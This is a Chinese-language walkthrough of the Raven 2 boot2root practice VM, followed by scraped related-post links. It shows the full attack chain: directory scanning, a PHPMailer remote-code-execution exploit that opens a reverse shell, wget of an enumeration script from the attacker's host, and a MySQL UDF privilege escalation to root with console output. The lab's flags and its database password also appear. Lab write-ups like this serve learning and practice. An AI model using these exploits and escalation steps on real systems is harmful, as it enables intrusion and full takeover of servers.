0X00 前言
Raven 2中一共有四个flag,Raven 2是一个中级boot2root VM。有四个标志要捕获。在多次破坏之后,Raven Security采取了额外措施来强化他们的网络服务器,以防止黑客进入。
 
 
0x01 发现存活主机
该虚拟机默认是NAT模式,因此无需调整网络模式
使用netdiscover 或者 arp-scan 获取 目标主机 ip:192.168.88.211
arp-scan -l 或者 netdiscover -r 192.168.88.1/24
探测目标主机开放端口以及服务信息
目标开放了22、80、111端口
访问web服务
0x02 web渗透
1.目录爆破
dirb是一个轻量级的目录爆破工具,可以用它来快速的对目录进行一个简单的探测
dirb默认使用的爆破字典 /usr/share/dirb/wordlists/common.txt
我们可以根据需要指定字典进行扫描
dirb http://192.168.88.211 /root/dir/dir_big.txt
使用dirb和dirsearch同时进行目录爆破,相比而言,dirb扫描结果貌似要好很多。
扫到一些目录,逐个去查看目录下是否存在flag
在vendor下的 PATH 目录发现flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
并且获得网站绝对路径:/var/www/html/vendor/
继续向下翻,一些PHPMailer的示例和说明文档等文件,貌似没什么用!
在vendor下存在一个版本说明文件,这个应该就是PHPMailer的版本信息了。
0x03 漏洞利用
PHPMailer版本小于5.2.20存在远程代码执行漏洞
使用searchsploit 搜索 可以利用的漏洞
修改exp,替换目标ip target为靶机ip,反弹连接的地址为kali地址。开启本地nc监听。
添加申明,否则非ASCII码字符会报错 # -*- coding: utf-8 -*-
修改后门路径地址 /var/www/html/
nc -nvlp 4444
运行该exp提示缺少requests_toolbelt模块,
pip install requests_toolbelt 安装该模块
python3 40974.py 执行exp 就会生成一个http://192.168.88.211/contact.php
访问链接,就会在网站根目录下生成一个backdoor.php
访问http://192.168.88.211/shell.php nc成功接收到反弹的shell
 
获取完整性shell,将shell转化为pty shell.
python -c 'import pty;pty.spawn("/bin/bash")';
在www目录下找到 flag2{6a8ed560f0b5358ecf844108048eb337}
在wordpress目录下通过find /var/www/html -name flag* 搜索发现flag3.png
访问http://192.168.88.211/wordpress/ 是一个wordpress站点
直接访问后台wp-admin,
注:直接访问后台会连接错误,需要修改hosts文件,将192.168.88.211指向raven.local
进入wordpress目录打开wp-config.php找到数据库用户名密码
/** MySQL database username */
define('DB_USER', 'root');
 
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
0X04 权限提升
使用提权脚本进行提权
开启web服务 php -S 0.0.0.0:88 -t /root
将提权脚本LinEnum.sh通过 wget 下载到目标机器
 
使用UDF提权
开启web服务,将udf exp 发送到 目标机器
python -m SimpleHTTPServer 88
在目标机器上编译会出错,我们可以本地编译好再上传。
gcc -g -c 1518.c gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o –lc
编译完成后会生成1518.c 和 1518.so文件,我们只需要so文件
www-data@Raven:/tmp$ mysql -uroot -pR@v3nSecurity
mysql -uroot -pR@v3nSecurity
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 60
Server version: 5.5.60-0+deb8u1 (Debian)
 
Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
 
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
 
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
 
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| wordpress |
+--------------------+
4 rows in set (0.00 sec)
 
mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
 
Database changed
mysql> create table Micr067(line blob);
create table Micr067(line blob);
Query OK, 0 rows affected (0.00 sec)
 
mysql> insert into Micr067 values(load_file('/tmp/1518.so'));
insert into Micr067 values(load_file('/tmp/1518.so'));
Query OK, 1 row affected (0.00 sec)
 
mysql> select * from Micr067 into dumpfile '/usr/lib/mysql/plugin/1518.so';
select * from Micr067 into dumpfile '/usr/lib/mysql/plugin/1518.so';
Query OK, 1 row affected (0.00 sec)
 
mysql> create function do_system returns integer soname '1518.so';
create function do_system returns integer soname '1518.so';
Query OK, 0 rows affected (0.00 sec)
 
mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+---------+----------+
| name | ret | dl | type |
+-----------+-----+---------+----------+
| do_system | 2 | 1518.so | function |
+-----------+-----+---------+----------+
1 row in set (0.00 sec)
 
mysql> select do_system('chmod u+s /usr/bin/find');
select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.01 sec)
 
mysql> quit
quit
Bye
www-data@Raven:/tmp$ touch Micr067
touch Micr067
www-data@Raven:/tmp$ find Micr067 -exec 'whoami' \;
find Micr067 -exec 'whoami' \;
root
www-data@Raven:/tmp$ find Micr067 -exec '/bin/sh' \;
find Micr067 -exec '/bin/sh' \;
 
在root目录下找到 flag4{df2bc5e951d91581467bb9a2a8ff4425}

后记:看到你们不断拿到shell,我已经瑟瑟发抖,最近被那个挖洞被抓的新闻搞得人心惶惶。。。

Raven 2 靶机渗透的更多相关文章

  1. 22. CTF综合靶机渗透(十五)

    靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...

  2. 21. CTF综合靶机渗透(十四)

    靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...

  3. 18. CTF综合靶机渗透(十一)

    靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...

  4. 17. CTF综合靶机渗透(十)

    靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...

  5. hacknos-player靶机渗透

    靶机下载地址https://www.vulnhub.com/entry/hacknos-player,459/ 网络配置 该靶机可能会存在无法自动分配IP的情况,所以无法扫描到的情况下需要手动配置获取 ...

  6. VulnHub CengBox2靶机渗透

    ​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...

  7. VulnHub PowerGrid 1.0.1靶机渗透

    ​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...

  8. DeRPnStiNK靶机渗透

    DeRPnStiNK靶机渗透 常规的信息搜集 扫到了phpmyadmin以及wordpress并在后台发现弱密码,即admin,admin 这里对wordpress进行了扫描: 扫描插件: searc ...

  9. BTRsys1~2系列靶机渗透

    BTRsys系列靶机渗透 BTRsys1 端口发现加目录扫描. 发现目录:http://192.168.114.161/login.php 尝试弱密码失败,查看源代码. <script type ...

随机推荐

  1. python基础知识五 各类型数据方法补充,转换,分类,编码+坑中菜

    3.9各类型数据方法补充,转换,分类,编码,坑中菜 3.9.1数据类型方法补充 1.str:不可变 补充方法 s1.capitalize():首字母大写 s1 = "alex" s ...

  2. 2017day2

    系统模块: # Author: sonny# -*- coding:utf-8 -*-import sys; #print(sys.path);print(sys.argv);print(sys.ar ...

  3. Sublime Text 格式化代码

    1.添加快捷键 其实在sublime中已经自建了格式化按钮: Edit -> Line -> Reindent 只是sublime并没有给他赋予快捷键,所以只需加上快捷键即可 Prefer ...

  4. springboot整合mybatis时无法读取xml文件解决方法(必读)

    转    http://baijiahao.baidu.com/s?id=1588136004120071836&wfr=spider&for=pc 在springboot整合myba ...

  5. 给定一个IP地址,转化为二进制32位,再转化为十进制,写出一个方法让其十进制转为IP地址

    十进制是已知的数值 第一种方法: <script type="text/javascript"> var num=2148140545; var str=num.toS ...

  6. 2019牛客暑期多校训练营(第三场)H题目

    题意:给你一个N×N的矩阵,求最大的子矩阵 满足子矩阵中最大值和最小值之差小于等于m. 思路:这题是求满足条件的最大子矩阵,毫无疑问要遍历所有矩阵,并判断矩阵是某满足这个条件,那么我们大致只要解决两个 ...

  7. Python3发送邮件功能

    Python3实现邮件发送功能 import smtplib from email.mime.text import MIMEText # 导入模块 class SendEmail: def send ...

  8. Charles PC端和手机端抓取HTTP和HTTPS协议请求、HTTPS通用抓包规则

    一:HTTP和HTTPS的区别 HTTP是超文本传输协议,被用在Web浏览器和网站服务器之间传递信息,HTTP协议以明文方式发送内容,不提供任何方式的数据加密,因此HTTP协议不适合传输一些敏感信息, ...

  9. 用 PYQT5 和 QT Dseingner 写的串口助手

    最近公司做项目需要写串口助手,于是从网上找教程着手写了一下,基本的功能可以实现了,但是想要一个表盘的功能一直没有找到教程,有些遗憾.大神们会的话给指导指导  谢谢啦 ! 下边有源码的连接,欢迎大家下载 ...

  10. unimrcp-voice-activity语音检测

    研究 unimrcp有一段时间了,其中unimrcp voice acitve的算法,是遭到大家频繁吐槽.今天我们简单的介绍一下unimrcp voice activity 的这个简单粗暴的算法: u ...